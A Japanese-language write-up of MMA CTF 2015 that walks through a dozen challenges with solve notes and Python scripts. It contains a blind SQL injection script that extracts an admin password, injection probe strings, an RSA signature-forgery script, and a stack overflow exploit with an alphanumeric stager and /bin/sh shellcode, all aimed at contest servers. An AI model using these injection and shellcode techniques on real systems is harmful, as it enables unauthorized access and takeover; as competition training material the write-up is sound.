#MMA CTF 1st 2015 writeup
##Welcome!!
問題文:「フラグは"MMA{Welcome_To_MMACTF!!}"です。」
コピペ。
##Pattern Lock
Flag 1のみ。
Google検索。
http://blog.goo.ne.jp/nihongi/e/d0cfde12d440b92c181b6afd2b7dc4cb
##Smart Cipher System
Flag 1: 平文chr(x)をchr(x-0x17)して暗号文にしている。逆でOK。
Flag 2: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"を暗号化して、対応している文字を当てはめていく。
Flag 3: 一文字ずつbrute force
# -*- coding: utf-8 -*-
import urllib,urllib2
print "flag1"
x = [0x36,0x36,0x2a,0x64,0x4b,0x4b,0x4a,0x21,0x1e,0x4b,0x1f,0x20,0x1f,0x21,0x4d,0x4b,0x1b,0x1d,0x19,0x4f,0x21,0x4c,0x1d,0x4a,0x4e,0x1c,0x4c,0x1b,0x22,0x4f,0x22,0x22,0x1b,0x21,0x4c,0x20,0x1d,0x4f,0x1f,0x4c,0x4a,0x19,0x22,0x1a,0x66]
y = []
for a in x:
y.append(a+0x17)
z = ""
for a in y:
z = z + chr(a)
print z
print "flag2"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
data = [0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x21,0xff]
x = [0xe3,0xe3,0x83,0x21,0x33,0x96,0x23,0x43,0xef,0x9a,0x9a,0x05,0x18,0xc7,0x23,0x07,0x07,0x07,0xc7,0x9a,0x04,0x33,0x23,0x07,0x23,0xef,0x12,0xc7,0x04,0x96,0x43,0x23,0x23,0x18,0x04,0x04,0x05,0xc7,0xfb,0x18,0x96,0x43,0xef,0x43,0xff]
z = ""
for a in x:
z = z + dic[data.index(a)]
print z
"""
print "flag3"
url = "http://bow.chal.mmactf.link/~scs/crypt5.cgi"
x = [0x60,0x00,0x0c,0x3a,0x1e,0x52,0x02,0x53,0x02,0x51,0x0c,0x5d,0x56,0x51,0x5a,0x5f,0x5f,0x5a,0x51,0x00,0x05,0x53,0x56,0x0a,0x5e,0x00,0x52,0x05,0x03,0x51,0x50,0x55,0x03,0x04,0x52,0x04,0x0f,0x0f,0x54,0x52,0x57,0x03,0x52,0x04,0x4e]
#print len(x) # result: 45
dic = "0123456789abcdef"
res = ""
for now in range(0,40):
for a in dic:
buf = res + a
buf = buf + "X" * (40-len(buf))
values = {'s' : 'MMA{' + buf + '}',
'.submit' : '暗号化'}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
q = the_page[the_page.find("</h1>")+5:the_page.find(" <form")]
if int(q.split(" ")[now+4],16) == x[now+4]:
res = res + a
print 'MMA{' + buf + '}'
break
import time
time.sleep(0.2)
# MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}
"""
##Login as admin! passwordがinjection可能なことは分かる。色々試してみる。
test'--
OK
test' || (select 1)--
NG
test' or (select 1)--
OK
test' or (select name from sqlite_master)--
OK
te' or (select 1 from user)--
OK
データベースはsqlite、ユーザー情報はuserテーブルに存在することが分かる。
カラム名はpasswordとそのまま。後はGLOBを使ってinjectionする。cookieを使っていることに注意。
Blind sql injection.
import urllib
import urllib2
import time
import cookielib
url = 'http://arrive.chal.mmactf.link/login.cgi'
dic = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ{}-0123456789abcdefghijklmnopqrstuvwxyz"
now = 0
dbname = ""
while True:
values = {'username' : 'test',
'password' : "te' or (select exists(select * from user where user='admin' and password glob " + "'" + dbname + dic[now] + '*' + "'))--"}
data = urllib.urlencode(values)
cj = cookielib.CookieJar()
cjhdr = urllib2.HTTPCookieProcessor(cj)
opener = urllib2.build_opener(cjhdr)
r = opener.open(url,data)
q = r.read()
if "invalid" in q:
now = now + 1
continue
dbname = dbname + dic[now]
now = 0
print dbname
# MMA{cats_alice_band}
##RPS
srandに渡す数字をnameで上書きできる。
じゃんけんの手はmod 3。(1: Rock 2: Paper 3:Scissers)
50連勝してflag.
import telnetlib
from ctypes import *
ans = ["P","S","R"]
libc = CDLL("libc.so.6")
libc.srand(0x41414141)
payload = "A"*52 + "\n"
host = 'milkyway.chal.mmactf.link'
port = 1641
tn = telnetlib.Telnet(host,port)
raw_input("use strace!")
print tn.read_until(":")
tn.write(payload)
data = ""
for a in range(0,50):
now = libc.rand()
data = data + ans[now%3]
tn.write(data + "\n")
tn.interact()
# MMA{treed_three_girls}
##How to use?
Windows 32-bit DLL.
IDAで解析すると、明らかに怪しいhowtouseという関数がある。
この関数をOllyDbgで実行すると、スタックに複数のアドレスが積まれて止まる。
このアドレスをたどると、eaxに文字を入れてはreturnを繰り返していることが分かる。
eaxに入る文字をたどればflag.
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}
##Signer and Verifier
RSA署名。何とかしてdを手に入れて、与えられた平文を暗号化(=署名)したいが、どうやってもdが分からない。
Signerがあるので任意の文章を署名できるが、問題として出てくる平文は暗号化できない。しかし、結局Textbook RSAであり、それ以外のMは全て入力可能。よって、Chosen plaintext attackが可能(ref. http://crypto.stackexchange.com/questions/2323/how-does-a-chosen-plaintext-attack-on-rsa-work )。
Mが2で割り切れる場合、mod nの中で(M/2)を暗号化し、さらに2を暗号化したものとかけると、Mが手に入ってしまう。
Mが2で割り切れる数字が来るまで待って暗号化する。
import telnetlib
import struct
import time
# Signer: nc cry1.chal.mmactf.link 44815
# Verifier: nc cry1.chal.mmactf.link 44816
# $ nc cry1.chal.mmactf.link 44815
#2
#45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820
host = 'cry1.chal.mmactf.link'
port = 44816
no2 = 45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820
n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509
e = 65537
print pow(no2,65537,n)
# All we should do is sign the message(M).
# Our answer C is "C = M^d mod N" and "C^e mod N = M".
# We know M,N,e. and also we know no2 = 2^d mod N.
# So, we can get M^d (mod N) when we calculate (M/2)^d * no2 (mod N).
while True:
tn = telnetlib.Telnet(host,port)
print tn.read_until("Sign it!")
data = tn.read_until("none",2)
print data
data = int(data)
if data % 2 != 0:
tn.close()
continue
data = data / 2
tn2 = telnetlib.Telnet(host,port-1)
tn2.write(str(data) + "\n")
data2 = tn2.read_until("none",2)
print data2
data2 = int(data2)
tn.write(str( (no2 * data2 ) %n ) + "\n" )
break
tn.interact()
##This program cannot be run in DOS mode.
ファイルヘッダを読んでみると、PEヘッダを示す部分が00に書き換えられており、どんな状態でも本体が実行されないようになっている。
ヘッダを正しい数字(0x3cの0x00を0xe8)にすればflag.
##Nagoya Castle
Stegsolve(http://www.caesum.com/handbook/Stegsolve.jar )久々の活躍。
Red plane 0に堂々とflagが書いてある。
##MQAAAA
base64をdecodeすると、一昔前に流行ったVBScriptの難読化された文章が出てくる。
(ref. http://scripting.cocolog-nifty.com/blog/2006/09/jscriptvbscript_f83d.html )
この通りに行うと(拡張子.jseとなることに注意)flag獲得。
##Mortal Magi Agents:
phpで動いているサイト。
まず、おなじみphp://filterでbase64形式にしたphpファイルを抜き出す。これでflagが"../flag"に存在することが分かる。
続いて、Avatorをアップロードし、その中のphpスクリプトをpharで実行し、flag獲得。
CODEGATE 2015 QualのOwlurと同じ手法。(ref. https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/ )
やっとこの手の問題のリベンジができた……と思ったら、かなり凄まじい想定解(https://gist.github.com/ytoku/8147cf145bc0cdc116d9 )が公開されていた……。これは分からん。
##Splitted
splitted.pcapからzipファイルをバイナリエディタでつなぎ合わせて復元する。Follow TCP streamで書き出したデータをRawでファイルに保存、あとは切り貼り。
この手の問題にありがちな、部分的に欠損したり重なってたりがない良心的な出題……と思ったら、出てきたflag.psdが真っ白。実は真っ白なレイヤーが本物のflagのレイヤーの上に重なっている。どけてflag.
##spell 入力をIspellに流し込み、問題なければ「Perfect!」と表示され終了するバイナリ。 4096bytes以上の入力は、Ispellに渡す前にエラーになっている。では、4095Bytesだと?一旦は通ったように見えて、次にIspellとして正しい入力をすると……
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Ispellからの入力を受け取る領域が小さすぎるため、stack overflowが起こる。
これで終わったかと思いきや、一旦Ispellに情報を渡した後にデータが返ってくるので、ASCII文字以外のデータが書き込めない。return addressは0x80493b8なので、これを最後の改行も含めて書き換えることまでしかできない。しかも、その先のstackが書き換えられないのでROP chainが組めない。
ここで、/proc/PID/mapsの情報から、stackがexecutableと分かる。さらに、BOFした後のretされる時、stackは
00:0000| esp 0xffffc0f0 --> 0xffffc108 --> 終了時に入力した文字列
01:0004| 0xffffc0f4 --> 0x0
02:0008| 0xffffc0f8 --> 0x1000
(gdb使用中、実際はASLRがかかる)
さらに0x80aXXXXにもバイナリデータがあるので、
0x80a4666: ret
に飛ばすことが可能。("fF\n")
これでx86 alphanumetric shellcodeを入力すれば終わりか……と思いきや、Ispellで通らないといつまでたっても終了できない。
ここからが本番。この問題は「Ispell acceptable shellcode」を書くという問題であった……。
色々と試してみた結果
・「数字」はノーチェック
・「アルファベット1文字→数字」はノーチェック
と分かった。また、たいていの場合0x36(ss)は間に挟んでもとりあえず動くので、以下のようなコードになった。"Ispell acceptable stager"を作り、stagerで狙ったアドレスに本物のshellcodeを書き込みflag.
ちなみに、ASLRのため、動作確率は1/16。
import telnetlib
import struct
import time
host = 'pwn1.chal.mmactf.link'
port = 38264
payload = "A"*4079 + "fF"
tn = telnetlib.Telnet(host,port)
print tn.read_until("your paragraph:")
s = tn.get_socket()
tn.write(payload + "\n")
print tn.read_until("your paragraph:")
payload2 = "4z" # xor al,0x7a eax = EAX: 0xffffc172 (ex eax=0xffffc108)
payload2 = payload2 + "6J" # dec edx (edx: 0xffffffff)
payload2 = payload2 + "00" # xor [eax],dh
payload2 = payload2 + "B6" # inx edx
payload2 = payload2 + "20" # xor dh,[eax]
payload2 = payload2 + "H6" # dec eax
payload2 = payload2 + "00" # xor [eax],dh
payload2 = payload2 + "6Z" # pop edx(edx:0)
payload2 = payload2 + "6J" # dec edx (edx: 0xffffffff)
payload2 = payload2 + "6H" # dec eax
payload2 = payload2 + "00" # xor [eax],dh
payload2 = payload2 + "6Z" # pop edx (edx: 0x1000)
payload2 = payload2 + "6A6A6A" # inc ecx*3 (ecx:3)
payload2 = payload2 + "6Q6P6R" # push 3(ecx->eax), eax(stack->ecx), edx(0x1000)
payload2 = payload2 + "6I6I6I6Q" # dec ecx*3 push 0 -> ebx
payload2 = payload2 + "6U6U6V6W" # push ebp,ebp,esi,edi
payload2 = payload2 + "6a" #popa = pop edi,esi,ebp,junk,ebx,edx,ecx,eax
payload2 = payload2 + "6P6X"*12 + "6P" + "2M" * 2
tn.write(payload2 + "\n")
payload3 = "00"
payload3 = payload3 + "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
time.sleep(1)
s.send(payload3 + "\n")
tn.interact()
# MMA{spell_is_useless_in_Japanese_lang}
##最後に
本当に素晴らしいCTFでした。相当に練り込まれた問題の数々が次々と現れ、どんな問題が来るか楽しみになるCTFでした。
MMAの皆さん、ありがとうございました!